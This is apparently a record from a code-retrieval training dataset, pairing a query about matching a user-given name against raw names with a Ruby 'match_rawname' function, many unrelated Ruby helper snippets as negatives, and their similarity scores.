"def params_check(*args) \n if args.length == 1\n if args[0].class == Array\n if params[args[0][0]][args[0][1]] && !params[args[0][0]][args[0][1]].empty?\n true\n end\n else \n if params[args[0]] && !params[args[0]].empty?\n true\n end\n end\n elsif args.length == 2\n if args[0].class == Array\n if params[args[0][0]][args[0][1]] && params[args[0][0]][args[0][1]] == args[1]\n true\n end\n else\n if params[args[0]] && params[args[0]] == args[1]\n true\n end\n end \n end\n end",
"def contains_pos?(*args)\n px, py, pz = *Moon::Vector3.extract(args.singularize)\n px.between?(0, xsize) && py.between?(0, ysize) && pz.between?(0, zsize)\n end",
"def intersects?(other)\n if !(self.x2 < other.x1) &&\n !(other.x2 < self.x1) &&\n !(self.y2 < other.y1) &&\n !(other.y2 < self.y1) &&\n !(self.z2 < other.z1) &&\n !(other.z2 < self.z1)\n return true\n else\n return false\n end\n end",
"def Matrix3dEqual(arg0, arg1)\n ret = _invoke(1610743917, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def ==(other)\n return false unless other.is_a?(Point)\n @x == other.x && @y == other.y && @z == other.z && @m == other.m\n end",
"def equal?(p0) end",
"def xor?(arg1, arg2)\n return true if arg1 && !arg2\n return true if arg2 && !arg1\n false # necessary because previous line returns nil (not false) if condition falsey\nend",
"def got_three?(array)\n\tarray.each_cons 3 do |x, y, z|\n\t\treturn true if x == y && y == z\n\tend\n\treturn false\nend",
"def p1(x, y, z)\n # x or y\n xor(x, y)\nend",
"def valid_location?(x, y)\n return false if x > @storage.length - 1\n return false if y > @storage.first.length - 1\n\n true\n end",
"def passable?(x, y, d)\n case d\n when 2, 8\n xindex = [x].concat(width(x))\n xindex.each { |x| return false unless super(x, y, d) }\n when 4, 6\n yindex = [y].concat(height(y))\n yindex.each { |y| return false unless super(x, y, d) }\n end\n return true\n end",
"def isStatic?\n ret=false\n ret=true if @static_x==@x && @static_y==@y\n if !(@static_x==@x) or !(@static_y==@y)\n @static_x=@x\n @static_y=@y\n end\n return ret\n end",
"def equal_to?(x, y)\n (x-y).abs <= relative_to(y)\n end",
"def same_set?(a, b)\n ((a - b) + (b - a)).blank?\n end",
"def eql?(arg)\n self.hash == arg.hash\n end",
"def xor?(argument_1, argument_2)\n if argument_1\n if argument_2 == false\n return true\n else\n return false\n end\n elsif argument_2\n if argument_1 == false\n return true\n else \n return false\n end\n else\n return false\n end\nend",
"def dup_args_alt(arr)\n arr == arr.uniq ? false : true\nend",
"def pitagoric_triplet?(a,b,c)\n (a**2 + b**2) == c**2\nend",
"def cons_check(coords)\n coords.each_cons(2).all? do |first, second|\n if first[0] == second[0]\n first[1].ord + 1 == second[1].ord\n elsif first[0].ord + 1 == second[0].ord\n first[1] == second[1]\n else\n false\n end\n end\n end",
"def can_be_placed?(x, y)\n return false unless (0..(rows - 1)).include?(x)\n return false unless (0..(columns - 1)).include?(y)\n\n true\n end",
"def equals(xs, ys)\n a = Array(xs)\n b = Array(ys)\n\n ((a | b) - (a & b)).empty?\n end",
"def has_match?\n !match_x.nil? && !match_y.nil?\n end",
"def deuce?\n @player1.points == 3 && @player2.points == 3\n end",
"def intersects?(other)\n return false if self.xMax < other.xMin\n return false if self.xMin > other.xMax\n return false if self.yMax < other.yMin\n return false if self.yMin > other.yMax\n return false if self.zMax < other.zMin\n return false if self.zMin > other.zMax\n true\n end",
"def is_isosceles?\n return @length_one == @length_two || @length_one == @length_three ||\n @length_two == @length_three\n end"
] |
[
"0.69228035",
"0.67688966",
"0.6671872",
"0.66445565",
"0.6627033",
"0.66072893",
"0.66033715",
"0.65441424",
"0.6525725",
"0.65117407",
"0.650433",
"0.641483",
"0.63972193",
"0.6378879",
"0.6365862",
"0.6334743",
"0.6315819",
"0.6298482",
"0.6279416",
"0.6261196",
"0.6256398",
"0.6240299",
"0.62376934",
"0.62136155",
"0.62112343",
"0.62112343",
"0.62112343",
"0.6211208",
"0.62009096",
"0.61690176",
"0.6159923",
"0.6159315",
"0.6150253",
"0.6137551",
"0.61297005",
"0.612895",
"0.6127324",
"0.61189747",
"0.6116659",
"0.61025023",
"0.61024016",
"0.60872585",
"0.6081598",
"0.6080334",
"0.60796547",
"0.60753477",
"0.6069068",
"0.6054861",
"0.60525084",
"0.60445076",
"0.60391086",
"0.6032506",
"0.60288066",
"0.60288066",
"0.6028302",
"0.6022207",
"0.60183924",
"0.5999831",
"0.59891254",
"0.5938465",
"0.5934757",
"0.5933069",
"0.59321094",
"0.5929287",
"0.5927197",
"0.59252125",
"0.5923593",
"0.59198886",
"0.5916904",
"0.5916904",
"0.59087634",
"0.5906743",
"0.5906504",
"0.5906504",
"0.5904069",
"0.59038895",
"0.59024346",
"0.5899764",
"0.5894782",
"0.5888512",
"0.58789927",
"0.58783597",
"0.58687013",
"0.5858488",
"0.5856631",
"0.5854811",
"0.5850136",
"0.5847759",
"0.5836963",
"0.58357584",
"0.58348805",
"0.5832032",
"0.5828367",
"0.5825786",
"0.58253217",
"0.5819501",
"0.58185405",
"0.5809054",
"0.5807356"
] |
0.70263106
|
1
|
try to match a userspecified name to one from the raws uses caseswitching and substring matching eg match_rawname('coal', ['COAL_BITUMINOUS', 'BAUXITE']) => 'COAL_BITUMINOUS'
|
def match_rawname(name, rawlist)
rawlist.each { |r| return r if name == r }
rawlist.each { |r| return r if name.downcase == r.downcase }
may = rawlist.find_all { |r| r.downcase.index(name.downcase) }
may.first if may.length == 1
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def match_name?(gotten_name, requested_name)\n gotten_name.text.strip.downcase == requested_name.downcase\n end",
"def proper_name(name)\n return name if name =~ /[[:upper:]]/\n\n name.gsub(/\\b[[:alpha:]]+/) { |w| w =~ PARTICLE_REGEX ? w : w.capitalize }\n end",
"def origName(name)\n\t\treturn @origName[name.downcase]\n\tend",
"def mixed_case_2(name)\n\tname.downcase.gsub(/\\b\\w/, &:upcase)\nend",
"def get_incguard_from_incfname incfname\n incfname.gsub(/[^\\w]+/, \"_\").upcase\nend",
"def case_insensitive_match; end",
"def initial(name)\n name.scan(/[[:upper:]]/).first.to_s\n end",
"def snakecase(name)\n name.gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').downcase\n end",
"def mixed_case(name)\n\tname.downcase.gsub(/\\b\\w/) {|first| first.upcase}\nend",
"def is_valid_name(name)\n name_arr = name.split(\" \")\n if (name_arr.length > 1)\n name_arr.each do |word|\n if !(word[0] == word[0].upcase && word[1..-1] == word[1..-1].downcase)\n return false\n end\n end\n else\n return false\n end\n true\nend",
"def name_matches(name)\n where(\"lower(name) = ?\", normalize_name(name)).limit(1)\n end",
"def is_valid_name(str)\n parts = str.split(\" \")\n if parts.length <2\n return false;\n end\n parts.each do |word|\n if word[0] == word[0].upcase && word[1..-1]==word[1..-1].downcase\n return true\n else\n return false\n end \n end \nend",
"def prepare_name(name)\n name.to_s.upcase\n end",
"def snake_case(name)\n name.gsub(/([a-z])([A-Z0-9])/, '\\1_\\2' ).downcase\nend",
"def match_to_preflabel(name)\n name = name.downcase\n case name\n when /reconstruction/\n standard_name = 'University of York. Post-war Reconstruction and'\\\n ' Development Unit'\n when /applied human rights/\n standard_name = 'University of York. Centre for Applied Human Rights'\n when /health economics/\n standard_name = 'University of York. Centre for Health Economics'\n when /health sciences/\n standard_name = 'University of York. Department of Health Sciences'\n when /lifelong learning/\n standard_name = 'University of York. Centre for Lifelong Learning'\n when /medieval studies/\n standard_name = 'University of York. Centre for Medieval Studies'\n when /renaissance/\n standard_name = 'University of York. Centre for Renaissance and Early'\\\n ' Modern Studies'\n when /reviews/\n standard_name = 'University of York. Centre for Reviews and'\\\n ' Disseminations'\n when /women/\n standard_name = \"University of York. Centre for Women's Studies\"\n when /school of social and political science/\n standard_name = 'University of York. School of Social and Political'\\\n ' Science'\n when /social policy/\n standard_name = 'University of York. Department of Social Policy and'\\\n ' Social Work'\n when /school of politics economics and philosophy/\n standard_name = 'University of York. School of Politics Economics and'\\\n ' Philosophy'\n when /politics/\n standard_name = 'University of York. Department of Politics'\n when /economics and related/\n standard_name = 'University of York. Department of Economics and Related'\\\n ' Studies'\n when /economics and philosophy/\n standard_name = 'University of York. School of Politics Economics and'\\\n ' Philosophy'\n when /history of art/\n standard_name = 'University of York. Department of History of Art'\n when /history/\n standard_name = 'University of York. Department of History'\n when /electronic/\n standard_name = 'University of York. Department of Electronic Engineering'\n when /theatre/\n standard_name = 'University of York. Department of Theatre, Film and'\\\n ' Television'\n when /physics/\n standard_name = 'University of York. Department of Physics'\n when /computer/\n standard_name = 'University of York. Department of Computer Science'\n when /psychology/\n standard_name = 'University of York. Department of Psychology'\n when /law/\n standard_name = 'University of York. York Law School'\n when /mathematics/\n standard_name = 'University of York. Department of Mathematics'\n when /advanced architectural/\n standard_name = 'University of York. Institute of Advanced Architectural'\\\n ' Studies'\n when /conservation/\n standard_name = 'University of York. Centre for Conservation Studies'\n when /eighteenth century/\n standard_name = 'University of York. Centre for Eighteenth Century\n Studies'\n when /chemistry/\n standard_name = 'University of York. Department of Chemistry'\n when /sociology/\n standard_name = 'University of York. Department of Sociology'\n when /education/\n standard_name = 'University of York. Department of Education'\n when /music/\n standard_name = 'University of York. Department of Music'\n when /archaeology/\n standard_name = 'University of York. Department of Archaeology'\n when /biology/\n standard_name = 'University of York. Department of Biology'\n when /biochemistry/ # confirmed with metadata team - recheck?\n standard_name = 'University of York. Department of Biology'\n when /english and related/ # confirmed directly with English department\n standard_name = 'University of York. Department of English and Related'\\\n ' Literature'\n when /philosophy/\n standard_name = 'University of York. Department of Philosophy'\n when /management studies/\n standard_name = 'University of York. Department of Management Studies'\n when /management school/\n # older versionof department name which should be retained if match found\n standard_name = 'University of York. The York Management School'\n when /language and linguistic science/\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science'\n when /language and lingusitic science/ # deal with common typo\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science'\n when /for all/ # this is 'languages for all' but in some records 'language'\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science. Languages for All'\n when /hull/\n standard_name = 'Hull York Medical School'\n when /international pathway/\n standard_name = 'University of York. International Pathway College'\n when /school of criminology/\n standard_name = 'University of York. School of Criminology'\n when /natural sciences/\n standard_name = 'University of York. School of Natural Sciences'\n when /environment and geography/ # order important, more precise must be first\n standard_name = 'University of York. Department of Environment and Geography'\n when /environment/\n standard_name = 'University of York. Environment Department'\n else\n standard_name = 'COULD NOT MATCH ' + name\n end\n standard_name\n end",
"def case_insensitive_match=(_arg0); end",
"def short_name \r\n name.gsub(/([A-Z])[^A-Z]+/, '\\1')\r\n end",
"def process_name\n\t\tlower_case_name = params[:input].downcase\n\t\tif lower_case_name == \"alex\" \n\t\t\t@name = \"Howdy\"\n\t\telsif lower_case_name == \"fitz\"\n\t\t\t@name = \"nice\"\n\t\telse\n\t\t\t@name = \"What are you staring at\"\n\t\tend\n\t\tRails.logger.info \"Lower case name was: \" + lower_case_name\t\t\t\t\n\tend",
"def create_match(nominee)\n names = []\n pname = nominee[:name]\n names << pname\n names << pname.sub(%r{ [A-Z]\\. }, ' ') # drop initial\n personname = ASF::Person.find(nominee[:id]).public_name\n names << personname if personname\n list = names.uniq.map{|name| Regexp.escape(name)}.join('|')\n # N.B. \\b does not match if it follows ')', so won't match John (Fred)\n # TODO: Work-round is to also look for EOS, but this needs to be improved\n %r{\\b(#{list})(\\b|$)}i\nend",
"def is_valid_name(str)\n str_arr = str.split\n check = []\n str_arr.each do |ele|\n formatted = ele[0].upcase + ele[1..-1].downcase\n check << formatted\n end\n if check.length < 2 || check.join(\" \") != str\n return false\n else\n return true\n end\nend",
"def normalize_name(name)\n return name.to_s if !name.is_a?(String) && !name.is_a?(MatchData)\n name = name.captures.compact.join('-') if name.is_a?(MatchData)\n name.split('-').map { |s| s[/\\A[0-9]\\Z/].nil? ? s : \"0#{s}\" }.join('-').upcase\nrescue\n name.to_s\nend",
"def mixed_case(name)\n name.downcase.gsub(/\\b\\w/, &:upcase)\nend",
"def valid_name (name)\r\n /^\\w+$/.match (name)\r\n end",
"def is_valid_name(str)\n parts = str.split(\" \")\n isTrue = true\n parts.each do |part|\n if part[0] == part[0].downcase\n isTrue = false\n end\n part[1..-1].each_char do |chr|\n if chr == chr.upcase\n isTrue = false\n end\n end\n end \n return isTrue && parts.length > 1\nend",
"def callback_name(name)\n return name.gsub(/([^A-Z]+)([A-Z]+)/, '\\\\1_\\\\2').downcase\n end",
"def is_valid_name(str)\n parts = str.split(\" \")\n if parts.length < 2\n return false\n end\n\n parts.each do |part|\n if !(part[0] == part[0].upcase && part[1..-1] == part[1..-1].downcase)\n return false\n end\n end\n\n return true\nend",
"def snake_case(name); end",
"def fake_name_c2(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0] \n\treal_last_name = real_full_name[1]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tvowel_index = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\t\twhile i < length_last\n\t\tif real_last_name[i] == \"z\"\n\t\t\tfake_last_name += \"a\"\n\t\telsif real_last_name[i] == \"a\" || real_last_name[i] ==\"e\" || \n\t\t\t real_last_name[i] == \"i\" || real_last_name[i] == \"o\" || \n\t\t\t real_last_name[i] == \"u\"\n\t\t\tfake_last_name += real_last_name[i] \n\t\telse \n\t\t\tfake_last_name += real_last_name[i].next \n\t\tend \n\t\ti+=1\n\tend\n\tfake_last_name\nend",
"def match_a_string(name)\n case name\n in \"ruby\"\n puts \"https://www.ruby-lang.org/en/\"\n in \"python\"\n puts \"https://www.python.org/\"\n in \"elixir\"\n puts \"https://elixir-lang.org/\"\n else\n puts \"no match\"\n end\nend",
"def fake_name(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0].downcase \n\treal_last_name = real_full_name[1].downcase\n\talphabet = [\"a\",\"b\", \"c\", \"d\", \"e\",\"f\", \"g\", \"h\",\"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\n\twhile i < length_first\n\t\tif real_first_name[i] == \"z\"\n\t\t\tfake_first_name += \"a\"\n\t\telsif real_first_name[i] == \"a\" || real_first_name[i] ==\"e\" || \n\t\t\t real_first_name[i] == \"i\" || real_first_name[i] == \"o\" || \n\t\t\t real_first_name[i] == \"u\"\n\t\t\tfake_first_name += real_first_name[i] \n\t\telsif \n\t\t\tind = alphabet.index(real_first_name[i])\n\t\t\tfake_first_name += alphabet[ind+1]\n\t\tend \n\t\ti+=1\n\t\t#fake_first_name[0] = fake_first_name[0].upcase\n\tend \n\tfake_first_name\nend",
"def match?(name); end",
"def normalised_name\n /(.*?)(_\\d+)?\\z/.match(@name).captures.first\n end",
"def exact_match?(name1:, name2:)\n return false unless name1.present? && name2.present?\n\n a = name_without_alias(name: name1.downcase)\n b = name_without_alias(name: name2.downcase)\n a == b\n end",
"def set_partial_name_match\n return if waypoints.length == 0\n #Only need to compute partial name match if new or a name has changed.\n return unless self.id.nil? || self.name_changed? || self.alternate_names_changed?\n #For each place look for trimmed name inside the places full names\n Place.find_by_radius(averageLatitude, averageLongitude, 70).each do |place|\n next if place == self\n trimmed_names.each do |trimmed| #Look for trimmed names in neighbour places names\n\tplace.raw_names.each do |name|\n\t if name.match(trimmed)\n\t self.partial_name_match = false\n\t return\n\t end\n\tend\n end\n end\n self.partial_name_match = true\n end",
"def name_case(options = {})\n options = { :lazy => true, :irish => true }.merge options\n\n # Skip if string is mixed case\n if options[:lazy]\n first_letter_lower = self[0] == self.downcase[0]\n all_lower_or_upper = (self.downcase == self || self.upcase == self)\n\n return self unless first_letter_lower || all_lower_or_upper\n end\n\n localstring = downcase\n localstring.gsub!(/\\b\\w/) { |first| first.upcase }\n localstring.gsub!(/\\'\\w\\b/) { |c| c.downcase } # Lowercase 's\n\n if options[:irish]\n if localstring =~ /\\bMac[A-Za-z]{2,}[^aciozj]\\b/ or localstring =~ /\\bMc/\n match = localstring.match(/\\b(Ma?c)([A-Za-z]+)/)\n localstring.gsub!(/\\bMa?c[A-Za-z]+/) { match[1] + match[2].capitalize }\n\n # Now fix \"Mac\" exceptions\n localstring.gsub!(/\\bMacEdo/, 'Macedo')\n localstring.gsub!(/\\bMacEvicius/, 'Macevicius')\n localstring.gsub!(/\\bMacHado/, 'Machado')\n localstring.gsub!(/\\bMacHar/, 'Machar')\n localstring.gsub!(/\\bMacHin/, 'Machin')\n localstring.gsub!(/\\bMacHlin/, 'Machlin')\n localstring.gsub!(/\\bMacIas/, 'Macias')\n localstring.gsub!(/\\bMacIulis/, 'Maciulis')\n localstring.gsub!(/\\bMacKie/, 'Mackie')\n localstring.gsub!(/\\bMacKle/, 'Mackle')\n localstring.gsub!(/\\bMacKlin/, 'Macklin')\n localstring.gsub!(/\\bMacKmin/, 'Mackmin')\n localstring.gsub!(/\\bMacQuarie/, 'Macquarie')\n end\n localstring.gsub!('Macmurdo','MacMurdo')\n end\n\n # Fixes for \"son (daughter) of\" etc\n localstring.gsub!(/\\bAl(?=\\s+\\w)/, 'al') # al Arabic or forename Al.\n localstring.gsub!(/\\bAp\\b/, 'ap') # ap Welsh.\n localstring.gsub!(/\\bBen(?=\\s+\\w)/,'ben') # ben Hebrew or forename Ben.\n localstring.gsub!(/\\bDell([ae])\\b/,'dell\\1') # della and delle Italian.\n localstring.gsub!(/\\bD([aeiou])\\b/,'d\\1') # da, de, di Italian; du French; do Brasil\n localstring.gsub!(/\\bD([ao]s)\\b/,'d\\1') # das, dos Brasileiros\n localstring.gsub!(/\\bDe([lr])\\b/,'de\\1') # del Italian; der Dutch/Flemish.\n localstring.gsub!(/\\bEl\\b/,'el') # el Greek or El Spanish.\n localstring.gsub!(/\\bLa\\b/,'la') # la French or La Spanish.\n localstring.gsub!(/\\bL([eo])\\b/,'l\\1') # lo Italian; le French.\n localstring.gsub!(/\\bVan(?=\\s+\\w)/,'van') # van German or forename Van.\n localstring.gsub!(/\\bVon\\b/,'von') # von Dutch/Flemish\n\n # Fix roman numeral names\n localstring.gsub!(\n / \\b ( (?: [Xx]{1,3} | [Xx][Ll] | [Ll][Xx]{0,3} )?\n (?: [Ii]{1,3} | [Ii][VvXx] | [Vv][Ii]{0,3} )? ) \\b /x\n ) { |match| match.upcase }\n\n localstring\n end",
"def is_valid_name(str)\n\tnames_arr = str.split(\" \")\n if names_arr.length < 2\n return false\n end\n\n \tnames_arr.each do |name|\n if check_case(name)\n return true\n \n else\n return false\n end\n end \nend",
"def oracle_upcase(name)\n name =~ /[A-Z]/ ? name : name.upcase\n end",
"def is_valid_name(str)\n\twords = str.split(\" \")\n \tif words.length >= 2\n \twords.each do |word|\n temp = word[0].upcase + word[1..-1].downcase\n if temp != word\n return false\n end\n end\n return true\n end\n return false\nend",
"def determine_name_parts(name)\n @first_name = name[0..name.index(\" \")].strip.downcase\n @last_name = name[name.index(\" \")..name.length].strip.downcase\n end",
"def abbrev_name(name)\n \"#{name[0]}.#{name.split[1][0]}\".upcase\nend",
"def make_fake_name (name)\n\t# Swap first & last name\n\tswap_name = name.split(' ').reverse.join(' ')\n\n\tfake_name = ''\n\tindex = 0\n\twhile index < swap_name.length\n\t\tchar = swap_name[index]\n\t\tif char == ' '\n\t\t\tfake_name += ' '\n\t\telse\n\t\t\tif char == char.downcase\n\t\t\t\tfake_name += get_swapped_char(char)\n\t\t\telse\n\t\t\t\tfake_name += get_swapped_char(char.downcase).upcase\n\t\t\tend\n\t\tend\n\n\t\t# Increment counter\n\t\tindex += 1\n\tend\n\n\tfake_name\nend",
"def strict_matching(ingredient_name,item)\n return item.downcase.include?(ingredient_name)\nend",
"def plausible_common_name\n parse('creature.bird.plausible_common_names').capitalize\n end",
"def spy_name(realname)\n\tvowels = ['a','e','i','o','u']\n\tconsonants = ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n\treverseName = realname.downcase.split(\" \").reverse!\n\tfullName = reverseName[0] + \" \" + reverseName[1]\n\tletteredName = fullName.split('')\n \tletteredName.map! do |letter|\n \t if vowels.include?(letter)\n \t vowels.rotate(1)[vowels.index(letter)]\n \t elsif consonants.include?(letter)\n \t consonants.rotate(1)[consonants.index(letter)]\n \t end\n \tend\nfullName = letteredName.join('').insert(reverseName[0].length,' ')\nfullName.capitalize!\ntwoNames = fullName.split(\" \")\ntwoNames[1].capitalize!\nfullName = twoNames[0] + \" \" + twoNames[1]\np fullName\nend",
"def suggest_def_name(how)\n how.gsub!(/_+/,'_') # double underscores to one\n how.gsub!(/^_/, '') # if it begins with undrscore kill it.\n how.gsub!(/\\s+/, '_') # kill spaces if for some strange reason exist\n how = how[0,1].downcase << how[1,how.size] #downcase firs char\n end",
"def handle\n @name.to_str.strip.downcase.split(/[_ ]+/).join(\"_\")\n end",
"def change_name(original)\n original.gsub!(' ','_')\n INVALID_CHARS.split('').each do |char|\n original.gsub!(char,'')\n end\n original.downcase\n end",
"def name_matches?(name, match)\n if match.include? '*'\n parts = match.split '*'\n first = parts.shift\n\n # if it's a leading *, this works because start_with?(\"\") always returns true\n # and has a length of 0 so the position stays at 0, which is correct\n if name.start_with?(first)\n # check for suffix match right away, accounting for a final * which split doesn't return\n if not match.end_with? '*' and not name.end_with?(parts.pop)\n return false\n end\n\n # check any internal wildcards\n position = first.length\n parts.each do |p|\n # find the substring starting at the position end of the last match\n found = name.index(p, position)\n if found and found >= position\n position = found + p.length # end of the matched substr\n else\n return false\n end\n end\n end\n elsif name == match\n true\n end\n end",
"def is_valid_name(str)\n\tnames = str.split(\" \")\n \tif names.length < 2\n return false\n end\n \n \tnames.each do | name |\n if(name[0] != name[0].upcase || name[1..-1] != name[1..-1].downcase)\n return false\n end\n end\n return true\nend",
"def copy_name_to_lowercase_name\n self.lowercase_name = File.basename(self.github_url.to_s).presence || name.to_s.downcase.parameterize\n end",
"def oracle_upcase(name)\n name =~ /[A-Z]/ ? name : name.upcase\n end",
"def proper_name\n @proper_name ||= @raw_name.lstrip.sub(CURRENT_BRANCH_REGEX, '')\n end",
"def match_agency_ref_by_name name\r\n\r\n\t\treturn nil unless name =~ /([0-9]+)_[0-9]+/\r\n\t\tagency_code = $1.to_s\r\n\r\n\t\treturn agency_code \r\n\tend",
"def extract_name_from_text(text); end",
"def set_partial_name_match\n return unless (self.id.nil? || self.name_changed?) && ((!self.latitude.nil? && !self.longitude.nil?) || border_points.length >= 3) \n #For each place look for trimmed name inside the places full names\n Place.find_by_radius(centerLatitude, centerLongitude, LARGE_LINKING_RADIUS).each do |place|\n next if place == self\n trimmed_names.each do |trimmed|#Look for trimmed names in neighbour places names\n\tplace.raw_names.each do |name|\n\t if name.match(trimmed)\n\t self.partial_name_match = false\n\t return\n\t end\n\tend\n end\n end\n #Load the dictionary\n words = {}\n File.open(\"public/words\") do |file|\n file.each do |line|\n conv_line = (line + ' ').encode(\"UTF-8\",\"iso-8859-1\")[0..-2]\n words[conv_line.strip] = true\n end\n end\n #p words[\"magic\"]\n #Look for trimmed names in the dictionary\n trimmed_names.each do |trimmed|\n if words[trimmed]\n\tself.partial_name_match = false\n\treturn\n end\n end\n self.partial_name_match = true\n end",
"def name_matches?(pattern)\n name.match(pattern)\n end",
"def make_fake_full_name (full_name)\n # put names into an array and swap first and last (if you wanted a string instead: name.partition(' ').reverse.join)\n full_name = full_name.split(' ').reverse\n # for each name, replace it with a fake name\n full_name.map! {|name| make_fake_name(name)}\n # convert the full name back to a string with a space between the partial names\n full_name = full_name.join(' ')\nend",
"def match_agency_ref_by_name name\r\n\t\treturn nil unless name =~ /([0-9]+)_[0-9]+/\r\n\t\tagency_code = $1.to_s\r\n\r\n\t\treturn agency_code \r\n\tend",
"def human_from_name; end",
"def gen_name\n name.to_s.downcase\n end",
"def case_fix(name)\r\n fixed_name = name.split(' ')\r\n fixed_name.each do |word|\r\n word.capitalize!\r\n end\r\n fixed_name.join(' ')\r\nend",
"def word_replace word, first_word\n if word =~ /^[A-Z]*$/ then\n \"_PROPER_\"#proper names\n elsif word =~ /^[A-Z|\\.]*$/ then\n if first_word then\n \"_FIRST_\"\n else\n \"_FNOCO_\" #first name or companies\n end\n elsif word =~ /^[A-Z].+$/ then\n if first_word then\n \"_FIRST_NAME_\"\n else\n \"_NAME_\"\n end\n elsif word =~ /^[0-9|\\-]*$/ then\n \"_NUM_\" #number\n else\n \"_RARE_\"\n end\nend",
"def lookup_name(namecase = nil)\n if namecase == :underscore\n name(namecase)\n else\n @lookup_name ||= class_name.tr('::', '')\n end\n end",
"def are_you_playing_banjo(name)\n name[0] =~ /[Rr]/ ? \"#{name} plays banjo\" : \"#{name} does not play banjo\"\nend",
"def match_agency_ref_by_name name\n\n\t\treturn nil unless name =~ /([0-9]+)_[0-9]+/\n\t\tagency_code = $1.to_s\n\n\t\treturn agency_code \n\tend",
"def match_agency_ref_by_name name\n\n\t\treturn nil unless name =~ /([0-9]+)_[0-9]+/\n\t\tagency_code = $1.to_s\n\n\t\treturn agency_code \n\tend",
"def carefull_name?(name)\n not !! (name =~ /\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12}/)\nend",
"def parse_name(full_name)\n letter = full_name[0].upcase\n octave = full_name[/\\d+/].to_i\n accidental = full_name[/[b#x]+/] || \"\"\n return letter, octave, accidental\n end",
"def sv_validate_name\n correct_name_format = false\n\n if self.rank_class\n # TODO: name these Regexp somewhere\n if (self.name =~ /^[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :iczn && self.name =~ /^[a-zA-Z]-[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^[a-zA-Z]*-[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^[a-zA-Z]*\\s×\\s[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^×\\s[a-zA-Z]*$/)\n correct_name_format = true\n end\n\n unless correct_name_format\n invalid_statuses = TAXON_NAME_CLASS_NAMES_UNAVAILABLE_AND_INVALID\n invalid_statuses = invalid_statuses & self.taxon_name_classifications.collect { |c| c.type_class.to_s }\n misspellings = TaxonNameRelationship.collect_to_s(\n TaxonNameRelationship::Iczn::Invalidating::Usage::IncorrectOriginalSpelling,\n TaxonNameRelationship::Iczn::Invalidating::Usage::Misspelling,\n TaxonNameRelationship::Icn::Unaccepting::Usage::Misspelling)\n misspellings = misspellings & self.taxon_name_relationships.collect { |c| c.type_class.to_s }\n if invalid_statuses.empty? && misspellings.empty?\n soft_validations.add(:name, 'Name should not have spaces or special characters, unless it has a status of misspelling')\n end\n end\n end\n\n # TODO: break this one out \n if SPECIES_RANK_NAMES.include?(self.rank_string)\n soft_validations.add(:name, 'name must be lower case') unless self.name == self.name.downcase\n end\n\n end",
"def correct_name\n name == \"Chris\" || name == \"Blake\"\nend",
"def get_name\n la = $lookahead\n\n return expected(\"Name\") unless is_alpha(la)\n\n lookahead\n\n \"_#{la}\"\nend",
"def get_name\n la = $lookahead\n\n return expected(\"Name\") unless is_alpha(la)\n\n lookahead\n\n \"_#{la}\"\nend",
"def _prepareName ( name )\n name.to_s.gsub /[\\W]/, ''\n end",
"def undercover_name(name)\n name.downcase.split(' ').map!{|name| name.split('').map! {|letter| next_letter(letter)}.join('').capitalize}.reverse.join(\" \")\nend",
"def name_search(search)\n words = search.split(' ')\n results = where(\"UPPER(name) LIKE ?\", \"%#{words[0]}%\")\n for i in 1...words.size\n results = results.where(\"UPPER(name) LIKE ?\", \"%#{words[i]}%\")\n end\n return results\n end",
"def match?(given_names); end",
"def correct_name\n name == \"Chris\" || name == \"Blak\"\nend",
"def fakeName(name)\r\n\tnameLen = name.length\r\n\tnameIndex = 0\r\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n\tcons = [\"b\", \"c\",\"d\", \"f\",\"g\", \"h\",\"j\", \"k\",\"l\", \"m\",\"n\", \"p\",\"q\", \"r\",\"s\", \"t\",\"v\", \"x\", \"z\",\"w\", \"y\"]\r\n\tnewName = \"\"\r\n\twhile nameIndex < nameLen\r\n\t\tvowelArrayIndex = 0\r\n\t\tvowels.each do |vow|\r\n\t\t\tif name[nameIndex] == vow\r\n\t\t\t\tnextchar = next_vowel(vowelArrayIndex)\r\n\t\t\t\tnewName = newName + nextchar\r\n\t\t\tend\r\n\t\t\tvowelArrayIndex += 1\r\n\t\tend\r\n\t\tvowelArrayIndex = 0\r\n\t\tconsArrayIndex = 0\r\n\t\tcons.each do |cons|\r\n\t\t\tif name[nameIndex] == cons\r\n\t\t\t\tnextchar = next_cons(consArrayIndex)\r\n\t\t\t\tnewName = newName + nextchar\r\n\t\t\tend\r\n\t\t\tconsArrayIndex += 1\r\n\t\tend\r\n\t\tnameIndex += 1\r\n\tend\r\n\treturn newName\r\nend",
"def similar_name(other_norm_name)\n (normalized_name.start_with?(other_norm_name) || other_norm_name.start_with?(normalized_name))\n end",
"def format_name(str)\n parts = str.split(\" \")\n new_parts = []\n\n parts.each do |part|\n new_parts << part[0].upcase + part[1..-1].downcase\n end \n\n return new_parts\nend",
